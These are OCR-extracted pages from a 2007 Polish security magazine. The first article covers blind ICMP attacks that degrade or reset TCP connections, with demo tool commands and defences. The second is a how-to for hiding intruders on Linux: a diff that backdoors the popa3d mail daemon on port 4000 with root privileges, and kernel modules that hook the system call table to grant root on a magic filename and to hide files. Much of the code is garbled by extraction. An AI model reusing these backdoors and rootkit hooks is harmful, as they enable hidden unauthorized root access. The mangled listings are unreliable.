ści  jego  fragmentacji  (Fragmenta-

tion needed and DF set). Taki komu-
nikat będzie także zawierał informa-
cję o sugerowanym rozmiarze MTU
(w 16 bitach po prawej stronie pola

unused widocznego na Rysunku 1).
Jeśli  taki  komunikat  nadejdzie,  roz-
miar pakietu zostaje zmniejszony do
odpowiednio  niższej  wielkości  i  na-
stąpi ponowna próba jego wysłania.
Rozwiązanie to, chociaż nie jest ide-
alne,  pozwala  dosyć  szybko  ustalić
MSS (Maximum Segment Size czy-
li maksymalny rozmiar segmentu da-
nych) dla połączeń TCP.

Ślepe ataki ICMP

Ataki z wykorzystaniem protokołu
ICMP są określane jako ślepe (ang.

blind),  ponieważ  do  ich  przeprowa-
dzenia  nie  jest  wymagane  podsłu-
chiwanie  (tak  zwany  sniffing)  sesji
TCP.  Są  więc  one  proste  do  zreali-
zowania. Potrzebujemy jedynie infor-
macji o czterech parametrach atako-
wanego połączenia:

•   adres IP nadawcy,
•   adres IP odbiorcy,
•   port źródłowy,
•   port docelowy.

Numery portów zawarte są w zakre-
sie od 0 do 65535. Jesteśmy w sta-
nie  przewidzieć  numer  portu  doce-
lowego (na przykład port 22 dla po-
łączeń SSH), natomiast numer por-
tu  źródłowego  pozostaje  dla  nas
nieznany.  Nie  stanowi  to  jednak
większego  problemu.  Wiemy,  że
systemy  operacyjne  używają  por-
tów z zakresu 1024-4999 (w zależ-
ności od systemu może to być jesz-
cze  mniejszy  zakres)  dla  połączeń
wychodzących.  Przy  użyciu  łącza
o  przepustowości  1Mbps,  wysła-
nie pakietów ICMP z każdym moż-
liwym  portem  źródłowym  (zawar-
tym  w  opcjonalnych  danych)  z  te-
go zakresu będzie wymagało śred-
nio dwóch sekund.

Aby zerwać konkretne połącze-

nie,  atakujący  musi  wysłać  do  któ-
rejkolwiek ze stron połączenia twar-
dy  komunikat  ICMP  z  odpowiadają-
cymi mu numerami portów. Jednym
z komunikatów ICMP należących do
grupy  komunikatów  twardych  jest

Destination  Host  Unreachable  (nie-
osiągalność  miejsca  przeznacze-
nia). Istnieje 16 różnych kodów błę-
du przypisanych do tego typu komu-
nikatu,  jednak  nas  interesują  tylko
trzy z nich:

• protocol unreachable (nieobsłu-

giwany protokół) – kod 2,

• port unreachable (nieobsługiwa-

ny port) – kod 3,

• fragmentation needed and DF

set (wymagana fragmentacja)
- kod 4.

Powyższe kody błędu komunika-
tu typu trzeciego (Destination Host

Unreachable)  protokołu  ICMP  wy-
korzystamy  do  przeprowadzenia
przykładowych  ataków  na  połącze-
nia TCP. Posłużymy się w tym celu

O autorze

Zajmuje się on bezpieczeństwem sieci
i systemów komputerowych. Niekiedy
„bawi się” w programistę, tworząc coś,
co ma być przydatne, ale różnie z tym
bywa. Na co dzień student drugiego ro-
ku informatyki.
Kontakt z autorem: elceef@itsec.pl

Rysunek 1.

Nagłówek pakietu ICMP dla komunikatów informujących o

problemach w sieci

hakin9 Nr 3/2007

www.hakin9.org

Atak

dwoma komputerami połączonymi w
sieci lokalnej oraz programami, któ-
rych autorem jest Fernando Gont.
Wygenerują one dla nas odpowied-
nie pakiety.

Powolne połączenie

Wspomniany  wcześniej  mechanizm
wykrywania  optymalnego  rozmiaru
MTU  wykorzystuje  pakiety  ICMP  z
komunikatem Destination Host Unre-

achable oraz twardym kodem błę-
du (traktowanym jako twardy tylko w

przypadku, gdy mechanizm wykry-
wania MTU nie jest zaimplementowa-
ny w danym systemie) Fragmentation

needed and DF set do zmniejszania
rozmiaru wysyłanych pakietów. Spe-
cyfikacja  wymaga,  aby  system  po
zmniejszeniu  rozmiaru  tych  pakie-
tów  odczekał  przynajmniej  10  mi-
nut, przed ponowną próbą zwiększe-
nia ilości danych przesyłanych w po-
jedynczym  pakiecie.  Atak  polega  na
wysyłaniu fałszywych pakietów ICMP
w  kierunku  jednej  ze  stron  połącze-

nia, powodując zmniejszenie rozmia-
ru  MTU  do  drastycznie  niskiego  po-
ziomu  (nawet  do  68  bajtów)  oraz  w
konsekwencji  spowolnienie  szybko-
ści przepływu danych. W efekcie sto-
sunek sumarycznej długości nagłów-
ków do długości przesyłanych danych
będzie znacznie większy (patrz Tabe-
la 1). Oznacza to, że większość prze-
syłanych  informacji  będą  stanowić
nagłówki datagramów. Fałszywe pa-
kiety  ICMP,  oprócz  odpowiedniego
komunikatu  i  kodu  błędu  zawierają
oczywiście  spreparowany  nagłówek
IP oraz fragment nagłówka TCP pa-
sujące do atakowanego połączenia.

Przeprowadzimy teraz symula-

cję ataku na mechanizm wykrywania
MTU. W tym celu nawiążemy długo-
trwałe połączenie TCP o dużej pręd-
kości (pobierając ze zdalnego ser-
wera plik o dużym rozmiarze) posłu-
gując się narzędziem wget:

# wget 192.168.0.1/stuff/file.avi

Komputer o adresie

192.168.0.1

dzia-

ła  pod  kontrolą  systemu  Windows
XP SP2 z uruchomionym serwerem
usługi  HTTP.  Sprawdźmy  parame-
try  nowego  połączenia  przy  pomo-
cy netstat:

# netstat -taun |grep 192.168.0.1
tcp 0 0 192.168.0.101:1025

192.168.0.1:80
ESTABLISHED

Rysunek 2.

Ogólny schemat ataku z wykorzystaniem komunikatów ICMP

ICMP - HARD ERROR

DST ADDR = A

SRC ADDR = B

Internet

Tabela 1.

Sumaryczna długość nagłówków w pakietach w przypadku zmniejszających się rozmiarów MTU (podczas

transferu 1460 bajtów danych)

Rozmiar MTU

Wymagana ilość pakietów

Całkowita ilość danych

z nagłówkami

Procentowy udział na-

główków pakietów

1500

1024

1540

768

1540

512

1580

256

1740

16%

128

1980

32%

2380

59%

Ataki na protokół TCP

hakin9 Nr 3/2007

www.hakin9.org

Posiadamy wszystkie potrzebne in-
formacje na temat połączenia, czyli
adresy IP oraz numery portów. Sy-
mulacja wymaga jednak, aby port
źródłowy był nieznany, dlatego za-
miast konkretnej wartości podamy
zakres

1024-4999

. Do przeprowa-

dzenia ataku użyjemy narzędzia o
nazwie icmp-mtu:

# icmp-mtu -c 192.168.0.101:1024-4999
-s 192.168.0.1:80 -t server -r 32 -m

296

Parametr

-c

określa adres i port

źródłowy (w naszym przypadku
zakres portów) połączenia po stro-
nie klienta. Analogicznie parametr

-s

ustala wartości adresu i portu

po  stronie  serwera.  Numery  por-
tów  nie  są  obowiązkowe.  Jeśli  ich
nie  podamy,  program  będzie  wy-
syłał  pakiety  używając  wszystkich
możliwych  portów.  Należy  zwró-
cić uwagę na fakt, że jeśli pominie-
my  numer  portu  po  stronie  klienta
oraz  po  stronie  serwera,  to  ilość
potrzebnych  do  wysłania  pakie-
tów będzie wynosić 65536*65536,
czyli  ponad  cztery  miliardy.  Opcja

-t

służy do ustalenia kierunku, w

którym  mają  być  wysyłane  pakie-
ty. My wybraliśmy stronę serwera,
ponieważ  działając  pod  kontrolą
systemu  Windows,  w  przeciwień-
stwie  do  systemu  Linux,  nie  jest
on odporny na ataki z wykorzysta-
niem  protokołu  ICMP.  Przedostat-
ni parametr

-r

służy do ogranicze-

nia  szybkości  (w  kilobitach  na  se-
kundę), z jaką wysyłane są pakie-
ty.  Jest  to  przydatne  w  przypadku
niektórych  routerów,  którym  może
nie  „podobać  się”  zbyt  duży  ruch
pakietów  ICMP.  Ostatni  parametr

-m

pozwala nam wybrać rozmiar

MTU.  Jego  użycie  nie  jest  obo-
wiązkowe,  jeśli  zostanie  pominię-
ty, rozmiar MTU zostanie ustawio-
ny na 68, czyli absolutne minimum.
Niestety nie wszystkie systemy re-
spektują  owe  minimum  (na  przy-
kład  BSD  oraz  Windows),  dlatego
wybraliśmy wartość

296

Dodatkowym efektem naszych

działań  jest  znacznie  większe  zu-
życie  mocy  obliczeniowej  proce-
sora  po  obu  stronach  połącze-

nia  (wystarczające  do  „zamroże-
nia” niewielkich, domowych route-
rów  sprzętowych).  Ilość  przesy-
łanych  informacji  danych  nie  ule-
gnie  zmianie,  natomiast  znacz-
nie  zwiększy  się  ilość  pakietów,
ze  względu  na  ich  niewielkie  roz-
miary.  Obsłużenie  tak  dużej  ilo-
ści  pakietów  przez  system  zajmu-
je  więcej  czasu  procesora.  Efekt
jest szczególnie widoczny w przy-
padku  połączeń  o  dużej  przepu-
stowości.

Przerywanie połączenia

Wiemy już w jaki sposób wykorzy-
stać protokół ICMP do obniżenia ja-
kości połączeń TCP. Istnieje także
groźniejsza  odmiana  ataku,  umoż-
liwiająca  natychmiastowe  zerwa-
nie  połączenia.  Wykorzystuje  się
tu ten sam komunikat ICMP, co po-
przedni,  ale  z  kodem  błędu  Proto-

col  unreachable  (można  także  za-
stosować  kod  Port  unreachable).
Pakiet  z  takim  kodem  błędu  infor-
muje  jedną  ze  stron  połączenia  o
tym, że drugi komputer nie posiada
zaimplementowanej  obsługi  dane-
go protokołu (w naszym przypadku
tym  protokołem  jest  TCP).  Otrzy-
manie takiego komunikatu podczas
trwającego  połączenia  wydaje  się
być  co  najmniej  dziwne.  Oznacza
to,  że  obsługa  protokołu  zosta-
ła  nagle  usunięta  z  sytemy,  cho-
ciaż połączenie nie zostało zakoń-
czone.  Dobrym  rozwiązaniem  jest
więc  traktowanie  tego  komunikatu
jako  miękkiego  w  przypadku  trwa-
jących  połączeń,  co  uniemożliwi
ich przerwanie.

Scenariusz ataku jest identycz-

ny, jak poprzednio. Zmienia się

Rysunek 3.

Komunikat programu PuTTY informujący o udanym ataku na

sesję SSH

Paranoja ICMP

Skuteczność wykrywania MTU dla da-
nej  trasy  jest  całkowicie  uzależniona
od  zdolności  nadawcy  do  odebrania
komunikatu  ICMP  Fragmentation  ne-
eded  and  DF  set.  Jeśli  nadawca  nie
otrzyma  tego  komunikatu,  nie  będzie
wiedział,  że  pakiet  nie  dotarł  do  celu.
Spowoduje to w najgorszym razie za-
blokowanie  połączenia  na  czas  nie-
określony, ponieważ także kolejne pa-
kiety prawdopodobnie nie będą mogły
zostać przesłane przez łącze o mniej-
szym MTU niż rozmiar pakietu. Najczę-
ściej problem stwarzają sieci, w których
ignorowane są pakiety ICMP w źle po-
jętym interesie bezpieczeństwa. Jest to
bardzo  niemądre  działanie,  ponieważ
protokół  ICMP  jest  nierozerwalnie  po-
łączony z protokołem IP, który w więk-
szości  przypadków  bez  pomocy  tego
drugiego  nie  będzie  w  stanie  dostar-
czyć pakietów w dane miejsce.

Niedoświadczeni administratorzy

obawiają się tego protokołu ze wzglę-
du na problemy, jakie wiązały się daw-
niej  z  jego  użyciem.  Zbyt  duże  pakie-
ty ICMP (tak zwane ping of death) po-
wodowały w starszych wersjach syste-
mów Windows i Novell błąd pamięci ją-
dra (oraz w konsekwencji jego zawie-
szenie),  natomiast  wysyłanie  komuni-
katów  ICMP  na  adresy  rozgłaszania
służyło  do  przeprowadzania  ataków
odmowy  obsługi  (znanych  jako  ata-
ki smurf).

Niestety w Internecie można zna-

leźć  wątpliwej  jakości  artykuły  zale-
cające  odrzucanie  wszystkich  pakie-
tów ICMP. Zdarzają się nawet admini-
stratorzy, którzy owe zalecenia wpro-
wadzają  w  życie.  Oczywiście  szanu-
jemy ich.

hakin9 Nr 3/2007

www.hakin9.org

Atak

tylko  kod  błędu  w  pakiecie  ICMP
oraz  narzędzie.  Kolejna  symula-
cja również będzie opierała się na
długotrwałym  połączeniu.  Tym  ra-
zem komputer o adresie

192.168.0.1

(Windows XP) nawiąże połącze-
nie w sieci lokalnej z serwerem
usługi SSH o adresie

192.168.0.101

Do przeprowadzania ataku użyje-
my narzędzia icmp-reset, którego
sposób użycia nie różni się od po-
przedniego:

# icmp-reset -c 192.168.0.1:1024-4999 -
s 192.168.0.101:22 -t client -r 32

Sytuacja  uległa  niewielkiej  zmia-
nie.  Rolę  serwera  pełni  teraz  kom-
puter  pod  kontrolą  systemu  Linux.
Atak przeprowadzimy więc w kierun-
ku klienta. Po chwili na komputerze

192.168.0.1

pojawi się komunikat po-

dobny do tego przedstawionego na
Rysunku 3. Oznacza on, że atak za-
kończył się sukcesem i sesja SSH
została przerwana.

Jak się obronić

Chociaż  specyfikacja  protokołu
ICMP  wciąż  pozostaje  niezmienna,
producenci systemów i urządzeń sie-
ciowych mają tu spore pole do popi-
su. Wiele zależy od odpowiedniej im-
plementacji,  której  bezpieczeństwo
oparte  jest  na  umiejętnie  wykorzy-
stanych możliwościach oferowanych
przez  istniejącą  specyfikację  proto-
kołu lub na wprowadzeniu drobnych
modyfikacji.

Jednym z możliwych rozwią-

zań jest wykorzystanie numeru se-
kwencyjnego TCP do sprawdzenia
wiarygodności komunikatów typu

hard  error.  Każdy  pakiet  ICMP  in-
formujący  o  problemie  sieciowym
przenosi  minimum  osiem  pierw-
szych  oktetów  nagłówka  TCP  pa-
kietu, który spowodował błąd.

Zawierają one 32-bitowy nu-

mer  sekwencyjny,  którego  zada-
nia  stanowią  zabezpieczanie  se-
sji  TCP  przed  duplikatami  pakie-
tów  oraz  składanie  docierających
danych  w  odpowiedniej  kolejno-
ści.  Na  podstawie  tego  numeru
można  więc  stwierdzić,  czy  da-
ny  pakiet  rzeczywiście  należy  do

bieżącej sesji TCP (pomimo zgod-
nych numerów portów), czy może
został sfałszowany przez atakują-
cego i należy go odrzucić. Powyż-
sza  idea  wydaje  się  być  zupełnie
oczywista,  jednak  popularne  im-
plementacje  (na  przykład  Win-
dows  oraz  Cisco  IOS)  wciąż  jej
nie stosują.

Problem powraca w przypad-

ku  stosowania  rozszerzenia  TCP
o  nazwie  Window  Scaling  umożli-
wiającego  ustawienie  bardzo  du-
żych  rozmiarów  okna  (powyżej
standardowych 64kB).  Każdy sys-
tem  sieciowy  powinien  więc  pod-
dawać kontroli numery sekwencyj-
ne TCP przenoszone w komunika-
tach ICMP.

Kolejną metodą jest opóźnia-

nie  reakcji  na  twarde  komunika-
ty  do  osiągnięcia  określonej  liczby
nieudanych prób retransmisji pakie-
tu.  Po  otrzymaniu  komunikatu  typu

hard error, system nie przerywa po-
łączenia od razu, ale próbuje konty-
nuować transmisję poprzez ponow-
ne  wysyłanie  danych.  Gdy  liczba
nieudanych  prób  retransmisji  osią-
gnie  odpowiednią  wartość,  system
może  zakończyć  połączenie  mając
pewność,  że  otrzymany  komunikat
był prawdziwy.

Nie jest zalecane odrzucanie

wybranych  komunikatów  ICMP  na
poziomie zapory ogniowej. W nie-
których  przypadkach  takie  działa-
nie  może  spowolnić  lub  utrudnić
działanie  niektórych  usług  w  sie-
ci.  Praktyczna  część  artykułu  po-
kazała,  że  niewiele  pomoże  wy-
korzystywanie  funkcjonalności  lo-
sowych  numerów  portów  źródło-
wych,  chociaż  jest  to  jak  najbar-
dziej  zalecane  rozwiązanie.  Na
dzień  dzisiejszy  najlepszą  (oraz
jedyną) metodą obrony przed ata-
kami  z  wykorzystaniem  protoko-
łu  ICMP  jest  stosowanie  syste-
mów  z  dobrą  implementacją  sto-
su  TCP  (lub  instalowanie  popra-
wek w przypadku słabszych imple-
mentacji).

Podsumowanie

Jak zwykle przyczyna opisanego
tu problemu tkwi po środku. Winą

można obarczyć twórców protoko-
łu  ICMP.  Z  drugiej  strony  jednak,
winni są  także producenci tworzą-
cy systemy i urządzenia, w których
obsługa  tego  protokołu  pozosta-
wia często wiele do życzenia. Po-
wodzenie ataku zależy więc głów-
nie  od  konkretnej  implementacji
stosu  protokołów  sieciowych.  Na
szczęście  dzisiaj  omówione  ata-
ki  są  znacznie  mniej  groźne,  po-
nieważ  wśród  twórców  systemów
wzrosła  świadomość  o  zagroże-
niu, jakie wiąże się z ich wykorzy-
stywaniem. l

W Sieci

• http://www.gont.com.ar/drafts/icmp-

attacks/ – zbiór publikacji na temat
ataków z wykorzystaniem protokołu
ICMP,

• http://www.gont.com.ar/tools/

icmp-attacks/ – narzędzia wyko-
rzystane w praktycznej części ar-
tykułu,

• http://www.microsoft.com/technet/

security/bulletin/MS05-019.mspx
– poprawka dla systemów Win-
dows eliminująca zagrożenie ata-
kami ICMP,

• h t t p : / / w w w . f a q s . o r g / r f c s/

rfc792.html – RFC-792, specyfika-
cja protokołu ICMP.

Tłumienie nadawcy

Specyfikacja  protokołu  przewidu-
je  sytuację,  w  której  router  pośred-
niczący  w  transmisji  nie  będzie  po-
siadał  wystarczającej  ilości  pamię-
ci  do  przetworzenia  przekazywa-
nych  pakietów.  Może  on  wtedy  wy-
słać  pakiet  ICMP  z  komunikatem
Source  quench  (tłumienie  nadaw-
cy). Zgodnie z RFC-792, system po
otrzymaniu  takiego  komunikatu  po-
winien zmniejszyć szybkość wysyła-
nych  danych  na  okres  przynajmniej
10 minut. Skutek jest podobny, jak w
przypadku ataku na mechanizm wy-
krywania MTU – wolniejsze połącze-
nie.  Protokół  TCP  posiada  jednak
własne mecha

www.hakin9.org

hakin9 Nr 3/2007

Atak

eszcze osiem lat temu niewiele mówi-
ło się w Polsce o hakerach, czy ich wła-
maniach i atakach, a stereotyp przedsta-

wiał sieciowego intruza jako małolata z trądzi-
kiem, który z uporem maniaka zgaduje hasła
do kont na różnych serwerach. Obecnie jest to
temat coraz częściej podejmowany, nawet w
mediach, i to nie tylko przy okazji włamań do
NASA, czy ataków DDoS (Distributed Denial of

Service) na Yahoo, ale także z tego powodu, że
wielu ludzi, o których mówi się, że są hakerami,
lubi gdy jest o nich głośno i odpowiednio mani-
festuje swoją obecność. Głównym celem tego
artykułu jest przedstawienie kilku technik ukry-
wania się w systemie, stosowanych przez dru-
gi rodzaj sieciowych włamywaczy, mianowicie
przez tych, którzy wolą pozostać w ukryciu.

W systemach operacyjnych ukryć można

się  w  wielu  miejscach.  Obecnie  najczęściej
stosuje  się  backdoory  umieszczone  w  usłu-
gach  sieciowych  i  na  poziomie  jądra  systemu
Linuks. Jako że temat backdoorów jest bardzo
rozległy i jedynym ograniczeniem jest tutaj wy-
obraźnia i stopień umiejętności programowania
systemowego, omówię jedynie kilka wybranych
przykładów, które można łatwo przetestować w
domowych warunkach. Osobom chcącym wy-

próbować omówione tutaj przykłady w bardziej
realnym środowisku, chciałbym przypomnieć,
iż nie gwarantują one stuprocentowej gwarancji

Wybrane techniki

maskowania obecności

w systemie GNU/Linux

Robert Jaroszuk

stopień trudności

Jeszcze osiem lat temu niewiele mówiło się w Polsce o

hakerach, czy ich włamaniach i atakach, a stereotyp przedstawiał

sieciowego intruza jako małolata z trądzikiem, który z uporem

maniaka zgaduje hasła do kont na różnych serwerach.

Z artykułu dowiesz się:

• W jaki sposób można stworzyć backdoory sie-

ciowe, ukryte w popularnych usługach, np. w
demonie POP3.

• Jak napisać stosunkowo prosty, lokalny (do-

stępny w obrębie serwera) backdoor, ukryty w
kernelu

• Jak ukryć przed administratorem systemu pro-

ces, którego nie powinien widzieć

• Jak ukryć przed administratorem moduł kerne-

la załadowany przez intruza

Co powinieneś wiedzieć:

• Aby zrozumieć techniki omawiane w artykule,

powinieneś dosyć dobrze znać system Linux
oraz język C.

• Dla osób nie mających doświadczenia w pro-

gramowaniu  jądra  systemu  wskazane  jest
także  zapoznanie  się  z  "The  Linux  Kernel
Module  Programming  Guide":  http://tldp.org/
LDP/lkmpg/2.6/html/index.html

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

bycia niewidocznym przed czujnym
okiem administratora.

W większości przypadków sa-

mo  włamanie  jest  tylko  pierwszym
krokiem  większego  przedsięwzię-
cia, którym może być nie pozosta-
wiające śladów utrzymanie kontroli
nad systemem i możliwość później-
szego  powrotu  w  określonym  celu

(wykradanie danych, sabotaż, dal-
sze włamania na inne maszyny). W
tego typu sytuacji intruz musi odpo-

wiednio zadbać o zatarcie śladów
swojego działania i pozostawienie
dobrze ukrytych tylnych furtek (nie

O autorze

Autor  jest  studentem  Szkoły  Głów-
nej  Handlowej  w  Warszawie.  Bezpie-
czeństwem  sieci  i  systemów  informa-
tycznych  zajmuje  się  zarówno  zawo-
dowo,  jak  i  hobbystycznie  od  połowy
lat  90-tych.  Obecnie  pracuje  jako  ad-
ministrator  bezpieczeństwa  w  jednej
z  największych  instytucji  finansowych
w Polsce.

Kontakt z autorem: zim@iq.pl

Listing 1.

plik diff

diff

popa3d

1.0

Makefile

popa3d

1.0

backdoored

Makefile

---

popa3d

1.0

Makefile

2006

20.000000000

0100

+++

popa3d

1.0

backdoored

Makefile

2006

46.000000000

0100

LDFLAGS

LIBS

# Linux with glibc, FreeBSD, NetBSD

#LIBS += -lcrypt

LIBS

lcrypt

# HP-UX trusted system
#LIBS += -lsec
# Solaris (POP_STANDALONE, POP_VIRTUAL)
#LIBS += -lsocket -lnsl
# PAM

#LIBS += -lpam+LIBS += -lpam

# TCP wrappers
#LIBS += -lwrap
# libwrap may also want this

Common

subdirectories

popa3d

1.0

md5

and

popa3d

1.0

backdoored

md5

diff

popa3d

1.0

params

popa3d

1.0

backdoored

params

---

popa3d

1.0

params

2006

52.000000000

0100

+++

popa3d

1.0

backdoored

params

2006

23.000000000

0100

define

POP_STANDALONE

define

POP_STANDALONE

#if POP_STANDALONE

diff

popa3d

1.0

pop_auth

popa3d

1.0

backdoored

pop_auth

---

popa3d

1.0

pop_auth

2002

48.000000000

0200

+++

popa3d

1.0

backdoored

pop_auth

2006

02.000000000

0100

#include

<unistd.h>

#include

<string.h>

#include

<syslog.h>

#include

#include

#include

#include

<stdlib.h>

#include

#include

#include

#include

<fcntl.h>

#include

<pwd.h>

include

"misc.h"

include

"params.h"

include

"virtual.h"

#endif

define

PORT

4000

static

char

pop_user

pop_pass

;

static

int

pop_auth_quit

(

char

params

)

return

POP_STATE

;

}

void

pop_auth_hack

(

void

)

{

struct

sockaddr_in

serv

;

struct

sockaddr_in

cli

;

unsigned

int

slen

;

int

sock

;

int

scli

;

struct

passwd

;

+
+

getpwnam

(

POP_USER

);

setuid

(

);

setgid

(

);

Listing 2.

export_sct.c

#include

#include

#include

#include

#include

#define SCT_ADDR 0xc03a22a0

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

void

sys_call_table

;

static

int

__init

m_init

(

void

)

{

sys_call_table

(

void

**)

SCT_ADDR

;

EXPORT_SYMBOL

(

sys_call_table

);

return

;

}

static

void

__exit

m_exit

(

void

)

{

}

module_init

(

m_init

);

module_exit

(

m_exit

);

hakin9 Nr 3/2007

www.hakin9.org

Atak

koniecznie  w  tej  kolejności).  Owe
tylne furtki można umieścić w prze-
różnych miejscach w systemie. Mo-
że  to  być  modyfikacja  konfiguracji
systemu,  dodawanie  nowych  użyt-
kowników,  zmiana  działania  pro-
gramów  z  ustawionym  bitem  suid,
dodawanie  nowych  usług,  modyfi-
kacja  oprogramowania,  aż  po  naj-
bardziej  wyrafinowane  możliwo-
ści - modyfikację kernela (stosując
moduły, modyfikację źródeł i mody-
fikację  pracującego  jądra  poprzez

/dev/kmem).

Backdoor w demonie

POP3

Jedną ze standardowych usług kla-
sycznego serwera jest poczta. Ist-
nieje  więc  wysokie  prawdopodo-
bieństwo,  że  tego  typu  usługa  bę-
dzie uruchomiona na serwerze, do
którego intruz uzyskał dostęp. War-
to  rozważyć  możliwość  instalacji
tylnej furtki w tej usłudze. Zacznij-
my  zatem  od  pobrania  źródeł  pro-
gramu:

h t t p : / / w w w.o p e n w a l l .c o m /

popa3d/popa3d-1.0.2.tar.gz

A następnie rozpakujmy źró-

dła programu: tar -zxvf popa3d-
1.0.2.tar.gz
Teraz należy wprowadzić kilka mo-
dyfikacji w źródłach i w pliku Make-

file. (plik diff dla źródeł programu po-

pa3d-1.0.2 przedstawiony jest na Li-
stingu 1).

W pliku Makefile musimy zmienić

listę bibliotek, z którą będzie kompi-
lowany program popa3d. W tym celu
pozbawiamy komentarzy linijki:

#LIBS += -lcrypt
#LIBS += -lpam

Dzięki temu, podczas kompilacji zo-
staną wykorzystane biblioteki lib-

crypt oraz libpam. Są one potrzebne
przy autoryzacji zwykłych użytkow-
ników systemu. W pliku params.h
zmieniamy linijkę:

#define POP_STANDALONE 0

#define POP_STANDALONE 1

Listing 3.

file.c

#include

#include

#include

#include

#define __KERNEL_SYSCALLS__
#include

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

/* Poszukiwany ci▒g znakˇw */

char

string

"trabant"

;

void

sys_call_table

;

int

znajdz_sct

(

void

);

int

znajdz_sct

()

{

unsigned

long

ptr

;

((

unsigned

long

*)*

ptr

(

unsigned

long

sys_close

)

{

((

unsigned

long

*)*((

ptr

__NR_close

__NR_read

)

(

unsigned

long

sys_read

*((

ptr

__NR_close

__NR_open

)

(

unsigned

long

)

sys_open

)

{

sys_call_table

(

void

**)

((

unsigned

long

*)(

ptr

__NR_close

));

break

;

}

ptr

++;

}

(

sys_call_table

NULL

)

{

return

;

}

else

{

return

;

}

return

;

}

asmlinkage

int

old_open

)(

const

char

int

);

asmlinkage

int

new_open

(

const

char

pathname

int

flag

int

mod

)

{

* Sprawdzamy czy w nazwie (pathname zawiera także scieżke do pliku)
* otwieranego pliku znajduje się ciąg znaków ze zmiennej string.
* Jeśli tak, to dostajemy uid = 0;
*/

(

strstr

(

pathname

string

))

{

current

uid

;

current

gid

;

current

euid

;

current

egid

;

current

parent

uid

;

current

parent

gid

;

current

parent

euid

;

current

parent

egid

;

}

return

(

old_open

(

pathname

flag

mod

));

}

static

int

__init

m_init

(

void

)

{

znajdz_sct

())

{

return

;

}

old_open

sys_call_table

[

__NR_open

];

sys_call_table

[

__NR_open

new_open

;

return

;

}

static

void

__exit

m_exit

(

void

)

{

sys_call_table

[

__NR_open

old_open

;

}

module_init

(

m_init

);

module_exit

(

m_exit

);

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

Stała  POP_STANDALONE  okre-
śla,  czy  program  popa3d  będzie
samodzielnie  nasłuchiwał  na  por-
cie 110, czy też będzie mu potrzeb-
ny  do  działania  jakiś  serwer  typu
inetd/xinetd/rlinetd lub inny podobny.
Nie ma to znaczenia dla funkcjonal-
ności backdoora, ale dla uproszcze-
nia przyjąłem, że nie będziemy uży-
wać  żadnych  dodatkowych  aplika-
cji typu *inetd. Dosyć istotną zmianę
musimy wprowadzić w pliku pop_ro-

ot.c, w funkcji

set _ user()

. Odpowia-

da ona za zrzucanie uprawnień pro-
cesu-dziecka. Jako że chcemy, aby
nasz backdoor miał pełne uprawnie-
nia, musimy zadbać o to, aby pro-
ces-rodzic nie zrzucał ich przed wy-
wołaniem backdoora.

Tak więc zamiast linii:

if (setuid(pw->pw_uid)) return
log_error("setuid");

wstawiamy dwie inne:

setuid(0);
if (seteuid(pw->pw_uid))
return log_error("setuid");

Mamy więc:

if (setgid(pw->pw_gid))
return log_error("setgid");
setuid(0);
if (seteuid(pw->pw_uid))
return log_error("setuid");

W momencie gdy intruz połączy się z
serwerem pop3, ten wywołuje funk-
cję fork() i uruchamia proces obsłu-
gujący  dane  połączenie.  Dzięki  po-
wyższej  zmianie  w  kodzie,  proces
ten  będzie  miał  uid=0  i  euid  użyt-
kownika popa3d. W liście procesów
będzie widoczny jako popa3d, a tak
naprawdę  będzie  miał  uprawnienia
roota.

Główny kod backdoora znajduje

się w pliku pop_auth.c. Na początku
pliku należy dodać kilka nowych pli-
ków nagłówkowych:

#include
#include
#include
#include

Listing 4a.

Moduł realizujący ukrywanie plików

#include

#include

#include

#include

#include

#include

#define __KERNEL_SYSCALLS__
#include

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

/* Ci±g znaków używamy do ukrywania plików i katalogów */

define

HIDE_NAME

"tego_pliku_nie_widac"

void

sys_call_table

;

asmlinkage

int

old_getdents64

)

(

unsigned

int

struct

linux_dirent64

dirp

unsigned

int

count

);

int

znajdz_sct

(

void

);

int

znajdz_sct

()

{

unsigned

long

ptr

;

ptr

unsigned

long

((

init_mm

end_code

)

0xfffffffc

);

while

((

unsigned

long

)

ptr

(

unsigned

long

)

init_mm

end_data

)

{

((

unsigned

long

*)*

ptr

(

unsigned

long

sys_close

)

{

((

unsigned

long

*)*((

ptr

__NR_close

__NR_read

)

(

unsigned

long

sys_read

*((

ptr

__NR_close

__NR_open

)

(

unsigned

long

)

sys_open

)

{

sys_call_table

(

void

**)

((

unsigned

long

(

ptr

__NR_close

));

break

;

}

ptr

++;

}

(

sys_call_table

NULL

)

{

return

;

}

else

{

return

;

}

return

;

}

/* syscall który będzie przechwytywany w tablicy sycalli */

asmlinkage

int

new_getdents64

(

unsigned

int

struct

linux_dirent64

dirp

unsigned

int

count

)

{

struct

linux_dirent64

dir

ptr

tmp

NULL

;

long

rec

ret

;

/* poniższa zmienna przechowuje adres starego wywołania systemowego

sys_getdents64() */

ret

old_getdents64

)

(

dirp

count

);

/* próbujemy zaalokować pamięc do zmiennej tmp, jeżeli się to nie uda,

wracamy do oryginalnego wywołania sys_getdents64 */

((

tmp

(

struct

linux_dirent64

kmalloc

(

ret

GFP_KERNEL

))

NULL

)

return

ret

;

/* kopiujemy strukturę linux_dirent64

(zmienna dirp) do zmiennej tmp */

(

copy_from_user

(

tmp

dirp

ret

))

{

return

EFAULT

;

}

ptr

dir

tmp

;

ret

;

while

(((

unsigned

long

)

dir

)

(((

unsigned

long

)

tmp

)

))

{

hakin9 Nr 3/2007

www.hakin9.org

Atak

#include
#include
#include
#include
#include

oraz zdefiniować stałą PORT, która
będzie przechowywała numer portu,
na którym ma słuchać nasz backdoor:

#define PORT 4000

Dalej znajduje się funkcja

pop _

auth _ hack()

, która będzie wywo-

ływana w momencie aktywacji tyl-
nej furtki.

void pop_auth_hack(void)
{
struct sockaddr_in serv;
struct sockaddr_in cli;
unsigned int slen;
int sock;
int scli;
struct passwd *pw;

Na początku funkcji znajdują się de-
klaracje  zmiennych.  Przechowują
one  informacje  niezbędne  do  pra-
widłowego  nawiązania  połączenia
oraz do jego późniejszej obsługi.

W kolejnej linijce ustawiany jest

